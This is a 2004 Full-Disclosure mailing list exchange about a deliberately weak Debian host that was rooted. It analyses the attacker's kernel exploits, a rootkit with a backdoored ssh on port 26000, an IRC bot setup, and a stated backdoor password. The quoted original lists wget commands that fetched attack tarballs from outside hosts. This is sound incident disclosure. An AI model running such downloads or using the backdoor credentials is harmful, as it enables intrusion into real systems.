Re: [Full-Disclosure] Automated ssh scanning
From: VeNoMouS (venom_at_gen-x.co.nz)
To: "Richard Verwayen" <email@example.com>, "FD" <firstname.lastname@example.org> Date: Thu, 26 Aug 2004 12:59:35 +1200
kernel do_brk exploit by isec
http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php, this has had some
extra payload added, which when runs goes to 22.214.171.124 on port 80
requesting /~telecom69/gov.php which is offline, seems to also mess with
some binarys as so is running after reboot, cant see where yet ( kinda
confused about that one )
Ptrace/kmod kernel exploit by isec -
root kit with backdoor'd ssh listens on port 26000 which replaces smbd
binary, loggin of the ssh connections goes to /usr/include/iceconf.h , also
has a crappy tcp sniffer which logs to /usr/lib/libice.log,
***** backdoor password for this is ice4budu
emech setup for undernet to join #tty , which there are a bunch of bots in
there atm ( maybe 10 )
anyway hope that helps
----- Original Message -----
From: "Richard Verwayen" <email@example.com>
To: "FD" <firstname.lastname@example.org>
Sent: Thursday, August 26, 2004 10:32 AM
Subject: [Full-Disclosure] Automated ssh scanning
> Hello list!
> A few weeks ago there was a discussion about automated ssh scanning with
> user/password combinations like guest/guest or admin/admin.
> I set up a debian woody fully patched with both accounts activated, and
> got rooted some days later...
> The attackers installed some software and irc-bots and tried to use this
> host for testing other computers, thats not the point. I would like to
> know where's the weak point in the system? As the system was updates on
> a daily base! The only known weakness were these two accounts!
> Here is a list of software the attacker used, maybe someone could bring
> a bit light into this tunnel!
> wget sky.prohosting.com/awxro/linux/xpl.tar.gz
> wget www.bo2k-rulez.net/a
> wget www.bo2k-rulez.net/psybnc.tgz
> wget www.corbeanu.as.ro/t.gz
> wget roarmy.com/god.tgz
> wget www.generatiapro.go.ro/fast.tgz
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